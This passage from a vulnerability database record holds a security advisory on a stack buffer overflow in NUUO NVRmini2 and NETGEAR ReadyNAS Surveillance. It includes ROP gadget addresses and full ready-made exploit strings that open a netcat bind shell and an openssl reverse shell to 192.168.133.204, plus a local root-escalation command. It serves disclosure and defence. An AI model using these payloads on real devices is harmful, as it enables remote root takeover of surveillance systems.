/cgi-bin/cgi_main?cmd=transfer_license\u0026method=offline\u0026sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n\n\u003e A core file is generated:\nCore was generated by `/NUUO/bin/cgi_main\u0027. \nProgram terminated with signal SIGSEGV, Segmentation fault. \n#0 0x61616160 in ?? ()\n(gdb) i r\nr0 0x0\t0\nr1 0x0\t0\nr2 0x407aa4d0\t1081779408\nr3 0x407aa9e0\t1081780704\nr4 0x61616161\t1633771873\nr5 0x61616161\t1633771873\nr6 0x61616161\t1633771873\nr7 0x61616161\t1633771873\nr8 0x331fc8\t3350472\nr9 0x1\t1\nr10 0x33db54\t3398484\nr11 0x0\t0\nr12 0x1\t1\nsp 0xbedce528\t0xbedce528\nlr 0x61616161\t1633771873\npc 0x61616160\t0x61616160\ncpsr 0x60000030\t1610612784\n(gdb) \n\nThe request can be sent by an HTTP GET or POST method. \n\n\u003e A few registers can be controlled with the sn parameter, as it can be seen in the diagram below for the NVRmini2:\nsn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4444555566667777PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS\n\naaaa: filler\nPPPP: pc / lr register content, offset 976\n4444: r4 register content, offset 962\n5555: r5 register content, offset 966\n6666: r6 register content, offset 970\n7777: r7 register content, offset 974\nSSSS: start of stack pointer, offset 992\n\n\u003e On the ReadyNAS Surveillance one additional register (r8) can be controlled:\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa44445555666677778888PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS\n\naaaa: filler\nPPPP: pc / lr register content, offset 986\n4444: r4 register content, offset 968\n5555: r5 register content, offset 970\n6666: r6 register content, offset 974\n7777: r7 register content, offset 978\n8888: r8 register content, offset 982\nSSSS: start of stack pointer, offset 1002\n\n\u003e Exploit mitigations and constraints\nThe table below shows the exploit mitigation technologies for each target:\n NVRmini2 ReadyNAS\nNX Y Y\nRELRO Partial Partial\nASLR N Y\n\nAn additional constraint to keep in mind is that there can be no null bytes in the exploit as the vulnerability is in the sprintf copy operation (which uses a null byte as the string terminator). \n\n\u003e Exploitation in the NVRmini2 (firmware v3.0.0):\nThis example exploit creates a root bind shell on port 4444 using ROP gadgets to bypass NX. The gadgets were taken from libc-2.15.so, which is always loaded at 4066c000 in firmware 3.0.0. \n\n0x00018ba0 : pop {r3, lr} ; bx lr -\u003e located at 40684BA0 (first gadget, sets up r3 for the next gadget)\n0x000f17cc : mov r0, sp ; blx r3 -\u003e located at 4075D7CC (second gadget, set up args for system)\n0x00039ffc : system() -\u003e located at 406A5FFC (takes the argument from r0 - pointing to sp - and executes it)\nPayload (in the stack) -\u003e %6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26 (\"nc -l -p 4444 -e /bin/sh \u0026\")\n\nIllustration:\nsn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{first_gadget}aaaaaaaaaaaa{system()_address}{second_gadget}{stack}\n\nExploit for NVRmini2 firmware v3.0.0 (\"sn\" parameter value):\nsn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%a0%4b%68%40aaaaaaaaaaaa%fc%5f%6a%40%cc%d7%75%40%6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26\n\nOther firmware versions will have different gadget addresses. On version 3.0.0 it should work without any modification. \n\n\u003e Exploitation on ReadyNAS Surveillance (version v1.1.2):\nTo develop this example exploit libcrypto.so.0.9.8 was used. The library is loaded at B6xxx000, where xxx are 4096 possible values for the memory address, as the ReadyNAS has a weak form of ASLR. For this exploit, B6CCE000 was chosen as the target base address (this was chosen randomly from a sample of collected base addresses). \n\nThe exploit connects a reverse shell to 192.168.133.204:4444 using OpenSSL. The following ROP gadgets were used:\n0x000b3d9c : mov r1, sp ; mov r2, ip ; blx r6 -\u003e located at B6D81D9C (first gadget, gets the location of the stack pointer sp, where the shellcode is located, in r1)\n0x00008690 : movs r0, r1 ; movs r0, r0 ; movs r2, r2 ; movs r2, r1 ; bx r7 -\u003e located at B6CD6691 as this is a THUMB mode gadget (second gadget, sets up the arguments to system(), putting them into r0)\n0xb6ef91bc: fixed system() address when B6CCE000 is chosen as the base address of libcrypto.so.0.9.8 (takes the argument from r0 - pointing to sp - and executes it)\nPayload: (in the stack) -\u003e %6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26 (\"mkfifo /tmp/s; /bin/bash -i \u003c /tmp/s 2\u003e\u00261 | openssl s_client -quiet -connect 192.168.133.204:4444 \u003e /tmp/s; rm /tmp/s \u0026\")\n\nIllustration:\nsn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{second_gadget}{system_address}aaaa{first_gadget}aaaaaaaaaaaa{payload}\n\nExploit for ReadyNAS Surveillance v1.1.2 (\"sn\" parameter value):\nsn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%91%66%cd%b6%bc%91%ef%b6aaaa%9c%1d%d8%b6aaaaaaaaaaaa%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26\n\nNote that due to the ASLR in the ReadyNAS his exploit has be attempted at few times in order for it to work. Usually less than 20 tries is enough to get the reverse shell to connect back. \n\n\u003e Local exploitation:\nThis vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command:\nCGI_DEBUG=qwe23622260 cgi_main transfer_license \u0027method=offline\u0026sn=\u003cPAYLOAD\u003e\u0027\nThe cgi_main binary is located at \"/apps/surveillance/bin/cgi_main\" on the ReadyNAS and \"/NUUO/bin/cgi_main\" on the NVRmini2. \n\nIt is likely that all other vulnerabilities in this advisory are exploitable by a local attacker, however this has only been tested for the stack buffer overflow. \n\n\n\u003e\u003e Fix: \nNETGEAR and Nuuo did not respond to CERT/CC coordination efforts (see Timeline below), so no fix is available. \nDo not expose any of these devices to the Internet or any networks with unstrusted hosts. \n\nTimeline:\n28.02.2016: Disclosure to CERT/CC. \n27.04.2016: Requested status update from CERT - they did not receive any response from vendors. \n06.06.2016: Requested status update from CERT - still no response from vendors. \n Contacted Nuuo and NETGEAR directly. NETGEAR responded with their \"Responsible Disclosure Guidelines\", to which I did not agree and requested them to contact CERT if they want to know the details about the vulnerabilities found. No response from Nuuo. \n13.06.2016: CERT sent an update saying that NETGEAR has received the details of the vulnerabilities, and they are attempting to contact Nuuo via alternative channels. \n07.07.2016: CERT sent an update saying that they have not received any follow up from both Nuuo and NETGEAR, and that they are getting ready for disclosure. \n17.07.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn\u0027t receive a response or status update. No response received. \n01.08.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn\u0027t receive a response or status update. No response received. \n04.08.2016: Coordinated disclosure with CERT. \n\n\n\u003e\u003e References:\n[1] https://www.kb.cert.org/vuls/id/856152\n\n\n================\nAgile Information Security Limited\nhttp://www.agileinfosec.co.uk/\n\u003e\u003e Enabling secure digital business \u003e\u003e\n\n",
"sources": [
{
"db": "NVD",
"id": "CVE-2016-5677"
},
{
"db": "CERT/CC",
"id": "VU#856152"
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004491"
},
{
"db": "CNVD",
"id": "CNVD-2016-06369"
},
{
"db": "BID",
"id": "92318"
},
{
"db": "VULHUB",
"id": "VHN-94496"
},
{
"db": "VULMON",
"id": "CVE-2016-5677"
},
{
"db": "PACKETSTORM",
"id": "138199"
}
],
"trust": 3.42
},
"exploit_availability": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"reference": "https://www.scap.org.cn/vuln/vhn-94496",
"trust": 0.1,
"type": "unknown"
},
{
"reference": "https://vulmon.com/exploitdetails?qidtp=exploitdb\u0026qid=40200",
"trust": 0.1,
"type": "exploit"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-94496"
},
{
"db": "VULMON",
"id": "CVE-2016-5677"
}
]
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "CERT/CC",
"id": "VU#856152",
"trust": 3.8
},
{
"db": "NVD",
"id": "CVE-2016-5677",
"trust": 3.6
},
{
"db": "BID",
"id": "92318",
"trust": 2.7
},
{
"db": "EXPLOIT-DB",
"id": "40200",
"trust": 1.2
},
{
"db": "JVN",
"id": "JVNVU97220922",
"trust": 0.8
},
{
"db": "JVNDB",
"id": "JVNDB-2016-004491",
"trust": 0.8
},
{
"db": "CNVD",
"id": "CNVD-2016-06369",
"trust": 0.6
},
{
"db": "CNNVD",
"id": "CNNVD-201608-267",
"trust": 0.6
},
{
"db": "VULHUB",
"id": "VHN-94496",
"trust": 0.1
},
{
"db": "VULMON",
"id": "CVE-2016-5677",
